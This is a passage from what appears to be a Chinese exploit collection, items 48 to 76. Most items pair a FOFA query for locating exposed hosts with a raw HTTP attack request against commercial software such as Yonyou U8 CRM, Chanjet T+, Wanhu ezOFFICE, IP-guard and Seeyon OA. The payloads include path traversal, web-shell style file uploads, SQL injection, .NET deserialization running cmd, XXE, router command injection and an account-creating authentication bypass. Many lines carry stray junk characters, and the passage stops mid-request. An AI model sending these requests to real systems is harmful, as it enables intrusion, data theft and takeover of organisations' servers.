( i7 n! K: Y$ G! X$ s# {6 Y' `GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
, a# V# R+ b% A, y8 w! w, sHost: x.x.x.x
Cache-Control: max-age=0
" ]$ j) C  ]3 n5 ^( \1 ^Upgrade-Insecure-Requests: 1
, j0 Y5 P! B: V9 |# WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 I' b! b: U/ D7 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; e' X, n; {0 U) `) C2 @! aAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
" {) w5 ?% z4 Y: s7 A9 uIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
* }: W3 p5 i- _! iConnection: close



- a. ?+ M6 g  d) C5 d48. 用友U8 CRM swfupload 任意文件上传
3 _/ S5 [1 T. a- NFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
9 N' E! ^) @5 F. Z( D" IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; k8 B* P! P2 \9 M% rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 _' M* |4 B7 t4 T3 [, i* CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 A& F( V6 k( D( NContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
* r0 ~( }) ~5 S& e. ]------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
9 a+ D* _9 ~  N/ M: UContent-Disposition: form-data; name="upload"
upload
) Z8 `# b. c4 J: k, y------269520967239406871642430066855--
4 D# k2 ^3 {) d
. d( p0 n( M& z4 N* ^
! n9 a6 v* j3 j49. 用友U8 CRM系统uploadfile.php接口任意文件上传
2 Z: a# W' i7 m' QFOFA：body="用友U8CRM"
2 N6 K  _0 F1 Q. f, p$ }( w
# e# [3 X  w. t# H% GPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
# Y4 }2 ~  x2 c  P  wHost: x.x.x.x
* m4 p5 m- f& g) K6 _0 U; M( b3 M* AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% u" {: \0 V+ [% CContent-Length: 329
! ?0 r3 M* W& q. BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  q* b& Z0 x; O! A. ~Accept-Encoding: gzip, deflate
9 j: n$ A$ w/ x! ~# d, V7 H4 W6 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: W; t. r7 Y' t7 t( H/ b; |! `7 nContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
6 X% O, R1 E3 ~$ P
$ o* k1 N+ @  c; ~# i-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
+ |! c7 s1 n1 v3 v( m- i1 F
wersqqmlumloqa
4 A7 B0 S0 w  _) p5 o-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

% l  s$ @4 y  K7 vupload
8 ?, B% F2 O$ W" R-----------------------------vvv3wdayqv3yppdxvn3w--
( [$ q* k8 E. z) f) Q

% D0 C' I/ U. N7 M$ m  Dhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
/ O# ]0 Z2 y' {# [7 Y
: J7 q, w3 o* C  j( i4 D50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
  H5 B2 W! A! ]0 v, P) gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 N, |+ Z0 p% Y" B) s5 P0 oConnection: close
Content-Length: 224
Accept: */*
Accept-Language: en
( a" E! @$ ?9 d7 L# ~9 v' f( aContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


  C  a- g+ ?4 L% N51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
% V7 o$ l4 |7 l! H- M3 l0 oGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
  `8 U" z- L+ W* c- PUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% @, y' l2 P0 ]+ m3 SAccept-Encoding: gzip, deflate
- Z0 \$ U% m2 ]: O+ P8 X9 k6 |Accept-Language: zh-CN,zh;q=0.9
9 R8 G- X' X( B" q! EConnection: close

/ Y5 C/ u8 i0 J0 I6 @9 Q) D
52. 泛微E-Office json_common.php sql注入
& P  }7 v  D7 R/ D- ?FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
' O# K4 F4 X1 w2 ]( rHost: 192.168.86.128:8097
' f5 H. V+ h0 [  `: k( kUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" W( x- G4 b% u( `1 ]) I! Y/ hConnection: close
" a7 D9 x" W) |/ A. UContent-Length: 87
) m6 B- Z" @$ S- Y0 J8 x# H  lAccept: */*
Accept-Language: en
" }0 |; h" m- A6 u) V; RContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

5 T9 o+ m) r  |3 X- J$ P* ?tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

. r0 A" E; p. g) R, L
, h' d" V+ m# N8 G( M4 N" L53. 迪普 DPTech VPN Service 任意文件上传
! H8 r! D+ ]% N+ I  P. kFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


& A3 O, x  p" n, O6 m; o1 R54. 畅捷通T+ getstorewarehousebystore 远程代码执行
# P. w  ^3 f/ \& T. C) e: `FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
1 E/ P  y1 }" `! t# R2 w"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

$ C5 I, }; P+ {6 C0 \5 |/ `) @
完整数据包
3 r* I% J( `% t- o! t  CPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
( M! K1 I, M0 Y3 TContent-Length: 593
7 Z- ]1 L! U- e. k( l* w
{
; h+ y2 ]! T  L9 ~+ @0 {; Q"storeID":{
6 A5 t: J1 G* z+ D! z# T "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
2 y+ R6 G+ u9 B* e' C4 o( _   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
* Q( q) C& n! K3 x% O5 w. ^    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
% x  v% E" R4 t- D. J+ C5 P1 O    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. ]7 f6 j9 s6 F* \0 X    }
- m5 a6 {0 ^4 i" k0 J. r7 K  }
& ^0 P) l- _$ L6 c  }
}

2 W3 |' h* l' u4 _# [
第二步，访问如下url
/ J7 ~/ x8 D( u( |) X! a5 W) a3 O9 s/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

6 p" R) P; u/ B5 m3 o7 Z
( w9 a7 z  U7 X5 S# w* r! M4 R8 i% |55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
1 @2 x7 ^* i; t4 V  u9 @/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
" L! I: v& q' O/ }3 E第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
8 l0 d+ t/ g3 M: d! cFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
  P0 A& p" f" t+ q1 y8 `8 K# O6 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
  "storeID":{
1 o) B( y* d( z5 ~% G' Z    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  c5 C1 h+ \+ ^$ [+ {   "MethodName":"Start",
) Z9 x* @: d! t    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 E; I9 y. Y. P& P2 ~7 J+ q% [        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 T' P: q6 f- A1 q           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
: r& d# _+ I  z3 |. I% S2 k9 ?& EFOFA：app="畅捷通-TPlus"
4 {3 D3 Q. N( N0 O. yGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 q/ M1 c% o$ `/ D( \Accept-Charset: utf-8
, b, Y) s& F2 z& U7 GAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
: H' k/ K' B: h# e& c( {FOFA：app="畅捷通-TPlus"
7 h% T  q+ p! z% Z% aGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
# ~8 [1 X; m/ x8 PAccept-Encoding: gzip, deflate
/ N/ r4 g  T9 b( N5 U' }5 M% dConnection: close


/ |+ T0 j1 W8 C5 c& N( S59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
% a" y9 U* ]$ u3 ?2 {FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
4 K+ ~* m! E1 W$ M, H- ZPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
7 c, z, B1 i" y8 h0 k7 z: F( DUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% J% L+ E$ c' x. j# \& p) [9 e) yConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
1 M7 N( H/ S* Z  t: P+ L8 eContent-Type: application/x-www-form-urlencoded
6 o- m+ j7 I$ I, }Accept-Encoding: gzip

PAYLOAD
; o* d' N+ J# u* o& `
7 Y3 a$ k+ F+ d1 i6 @( r2 L
1 \3 N. u1 J1 n1 f8 e60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
# Q4 l7 U) O8 K5 N  oGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 E# ]. [! e9 r' G! nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! C: @4 h+ e' g" i1 D0 u. ^
; d- H# H  l3 j$ `  m/ c
) X- I8 T: d5 m" i% i0 `61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
9 `( Q) o  m5 v5 X+ _FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
, ^; D7 Y; f/ Q. [- `Host: x.x.x.x
+ @; ~: h! c: i9 J8 c8 z2 e+ Z# f9 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
. R" }8 c! v+ S8 X# a8 M7 bAccept: */*
- Z( ]" l& w/ eAccept-Encoding: gzip, deflate
4 a! c; V( o; nAccept-Language: en
, m& D& N# w3 T2 u$ h- N- YContent-Type: application/x-www-form-urlencoded
5 V0 z( Z: [" @4 G+ J" y1 D& v/ I
& o' K6 r# ?! u8uxssX66eqrqtKObcVa0kid98xa

) ?, F  m6 q- j3 J
62. IP-guard WebServer 远程命令执行
; q9 b% E- n: W! Q1 ]+ ~% w- p2 _FOFA："IP-guard" && icon_hash="2030860561"
' ]* H/ k/ U* k+ cGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
" H) ~7 a' Z* s- b8 ]( Z( THost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
$ U7 x4 a- \: t3 n; b+ [Connection: close
) Y; L& @9 i- K  v' uAccept: */*
Accept-Language: en
9 q  h2 A$ Y1 O: XAccept-Encoding: gzip


访问
. [" g2 b# B; A8 H+ D
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

. S6 C% |% N* f/ [1 p
63. IP-guard WebServer任意文件读取
- @! i( W7 B1 p! j- z9 EIP-guard < 4.82.0609.0
0 g: ^! h8 N3 ^& {* pFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
5 u( R. e: ^9 ^+ BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: _$ U6 _2 v5 T$ f/ t5 mAccept-Encoding: gzip, deflate
; u; E+ U2 y) t) ?9 |Accept-Language: zh-CN,zh;q=0.9
. T) Z8 T5 p6 u& n. h3 XConnection: close
8 ]/ ~6 s6 f# m7 QContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
6 E0 Y) ^& M% A$ I5 s# Z5 D5 }7 a. g
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
; L2 ~2 M3 g) {8 O: l7 OPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
* |7 E/ @8 h% Q% k% DHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
- I* y' Y& \" vContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
7 k  V) m9 K% c8 L" p
0 B: n; c$ t, L/ d4 z% p* W! D<?xml version="1.0" encoding="utf-8"?>
8 r# `, y1 \, M<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
; B* I( w# l' w, n' _; F% ]    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
$ O* S8 s5 w, @4 P! z    </GetOSpById>
0 j5 `5 x" E: D8 ^1 \  </soap:Body>
% i3 l# X$ u- c. M4 d</soap:Envelope>
! V5 u; u0 a$ V8 m

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
( X7 C, F) N1 ?( @FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
+ c9 x6 T! `, b$ N- MUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
2 ?; Q5 V5 T" s( l1 h, m3 IAccept-Encoding: gzip, deflate
/ V7 h) g1 i5 n; Z* T( qAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174

, x* M0 D: \8 ?- i, Y5 u' W( KoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
3 J2 v: w* W' o0 x5 W2 z) }+ RFOFA：app="万户ezOFFICE协同管理平台"
, G6 q. i5 f6 O9 W  c, t
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
1 v9 _5 u; s5 U/ V6 `Host: x.x.x.x
5 y0 t/ z* M: LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
* O: l( y; [( t! xAccept: */*
: i2 P% _$ Q0 Q3 o% r8 q/ ~. C% YAccept-Language: en
- O- ^$ l6 z0 f9 j, EAccept-Encoding: gzip
; R; p, `( A" W

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

8 r& G' y) H' A* o! z67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
+ w1 f. F7 g* [9 ^& K$ |newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. f% r+ s6 d0 A# @' D1 _$ \POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
6 _8 ~2 q2 K3 P0 {! q" k. IUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
4 }+ ^- M7 C* d1 |! N3 aContent-Length: 173
8 t3 T; O0 z) q- J; ]* eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  U* p% z& T* @* @Accept-Encoding: gzip, deflate
6 x8 q5 i# B! Q0 @1 x' m  y! cAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
2 I) Q, x8 \9 G3 A  T+ dConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
8 X' ?: c: A# F+ c
) D2 ?6 N7 s' C2 P--ufuadpxathqvxfqnuyuqaozvseiueerp
. K3 B) c' j, R7 i- WContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

/ L' l( o# J  c0 b0 c& |8 q<% out.print("sasdfghjkj");%>
6 T( \0 X0 m5 v6 Y--ufuadpxathqvxfqnuyuqaozvseiueerp--
: i! I, e- Q0 ~! u
# E- |8 b% j+ t% o7 C  ^) E
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
5 w# E4 Q) q% G/ d6 _5 V
68. 万户ezOFFICE wf_printnum.jsp SQL注入
2 f9 H% f1 ^; c5 D# k+ G- P! XFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
5 R# O; K: y* ]( k$ _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

2 u+ N- Y; t7 H/ Y
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
9 y+ q# `5 p! k/ A7 _Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
0 S2 `# n$ ]- @; F% b$ uConnection: keep-alive
( I: Z' T. I2 l$ u! U/ @4 ^

3 Z) l" U# E& e5 r9 r" M70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
% H5 H. l6 Y( R6 f6 z" \POST /member/success.aspx HTTP/1.1
4 a& [# J6 S) T7 w# f/ S' ^Host: {{Hostname}}
: p+ D8 `) Q( a: L4 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ p2 y8 `  u$ r3 nSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
5 G( M, F7 c+ ^4 N/ UContent-Type: application/x-www-form-urlencoded
TYPE: C
2 y( x# E$ u* ^! QContent-Length: 16702

! i& W+ n% f% d2 Z__VIEWSTATE=PAYLOAD
/ D- }* v6 {) i) ^0 _
: H: {  I, r( M
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
# O5 E. ~/ I) E) [" L0 Q5 B, `FOFA：body="PM2项目管理系统BS版增强工具.zip"
3 Z, _4 ]7 k9 S" l" K( d3 |' OGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
% q/ @1 O' L! ]2 DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 J' b- E, t$ @* o: \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, e+ T1 {7 `' K1 H! P/ F) XUpgrade-Insecure-Requests: 1


6 A+ J+ d8 o; ~8 m4 x6 F72. 致远OA getAjaxDataServlet XXE
5 h" P8 {) H( s% v) k8 X: W: }1 g7 KFOFA：app="致远互联-OA"
9 @$ _7 t, Y, [  _POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- y0 @. ^" {$ B! n1 a$ C# C+ H: g- ^Content-Length: 583
Content-Type: application/x-www-form-urlencoded
# Z1 \7 H' r! i; ~+ G5 rAccept-Encoding: gzip

8 o6 u1 n* ?5 z4 i% p1 b7 JS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
2 `6 b0 [3 M! k, b2 g- ZFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
: `9 `# u9 e/ MHost:
" Y5 t4 j3 a5 f4 ?6 I: aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
! v+ Q4 S( `+ yAccept-Encoding: gzip, deflate
Connection: close
0 Y. {: P$ _! l- C! I6 j' D8 O& H6 pContent-Type: application/xml
3 O- j+ G2 Z( W) {SL-CE-SUID: 3
# K- [2 Z4 E& f  P& d; j
PAYLOAD


3 D* K% |- Y+ t, B74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
2 R# D# n  B: i1 ]7 u; R, l0 NPAYLOAD
$ A9 L$ R" C: d, K6 J
( @# o3 ?: V9 k: }75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
9 i6 o  W/ f$ M, }* P$ ?' [FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
- |8 S% ~. Q3 I* X  q  g& WHost: x.x.x.x
: I6 _  S  ?8 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
6 `: m; j7 [5 y* d; a* @Accept: */*
Accept-Language: en
Accept-Encoding: gzip
8 u) H9 p% ^  m) Y% Q2 u

, Y* u) \- k9 c; W* S; V. i; J' RGET /cgi-bin/test28256.txt HTTP/1.1
) R, R1 K' U9 C: x& K- MHost: x.x.x.x


$ D* J! N! G% Z2 u+ [; B76. 新开普掌上校园服务管理平台service.action远程命令执行
! s+ C4 K' @( f. eFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+ Q) ?5 `* m% s2 |: }Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: W* F8 D3 c1 C7 GAccept-Encoding: gzip, deflate
5 C7 B( r$ D0 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
: |5 B5 s9 F# A) j- y; B# G
# b' @% n# q9 y9 g+ m/ o, A{
+ [: l8 n) l0 _"command": "GetFZinfo",
